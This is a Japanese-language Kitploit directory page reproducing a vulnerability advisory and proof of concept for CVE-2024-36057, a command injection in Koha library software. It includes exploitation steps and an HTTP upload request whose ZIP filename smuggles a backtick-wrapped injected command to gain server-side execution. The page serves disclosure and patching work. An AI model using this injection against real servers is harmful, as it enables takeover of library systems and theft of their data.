Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-36057 — CVE-2024-36057に関するアドバイザリと概念実証。Koha図書館ソフトウェアにおける認証済みOSコマンドインジェクションであり、細工されたZIPファイル名を介した任意のコマンド実行を示しています。 | Kitploit
ツール/GitHubGitHub/hacklantic/cve-2024-36057
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

CVE-2024-36057に関するアドバイザリと概念実証。Koha図書館ソフトウェアにおける認証済みOSコマンドインジェクションであり、細工されたZIPファイル名を介した任意のコマンド実行を示しています。

リポジトリを見る
3122日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
ウェブサイト
共有

CVE-2024-36057 - Koha Library Software < 23.05.10 - OSコマンドインジェクション

CVE ID: CVE-2024-36057
製品: Koha Library Software
脆弱性の種類: OSコマンドインジェクション (CWE-78)
CVSSスコア: 9.8 (Critical)
影響を受けるバージョン: 23.05.10 未満
クレジット: Karolis Narvilas


説明

Kohaはオープンソースの統合図書館システムです。tools/upload-cover-image.pl のカバー画像アップロード機能にコマンドインジェクションの脆弱性が存在します。このアプリケーションは、アップロードされたZIPアーカイブを展開する際に qx/unzip $filename -d $dirname/ を使用しており、filenameパラメータのサニタイズを行っていません。

認証済みの高権限ユーザーは、バッククォート文字を含む悪意のあるファイル名を持つZIPファイルを作成することで、任意のシェルコマンドを注入でき、ユーザーが「Process Images」をクリックした際にサーバーサイドで実行されます。

影響: リモートの認証済み攻撃者はCVE-2024-36057を悪用して、基盤となるサーバー上で任意のOSコマンドを実行でき、システム全体の侵害、データの窃取、および永続的なバックドアやリバースシェルの設置につながります。


概念実証 (PoC)

  1. 高権限ユーザーとしてKohaにログインします。
  2. 次の場所に移動します: https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
  3. 通常のZIPファイルをアップロードし、Burp Suiteなどのインターセプトプロキシを使用して、以下に示すようにファイル名を編集します:

リクエスト:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. ZIPファイルのアップロードが成功したら、**「Process Images」**をクリックします。
  2. バッククォート内に注入されたコマンドがサーバーサイドで実行されます。この例では、ターゲットマシン上でリバースシェルが確立されます。

Reverse Shell PoC


参考資料

  • MITRE - CVE-2024-36057
  • Hacklantic
ツールをダウンロード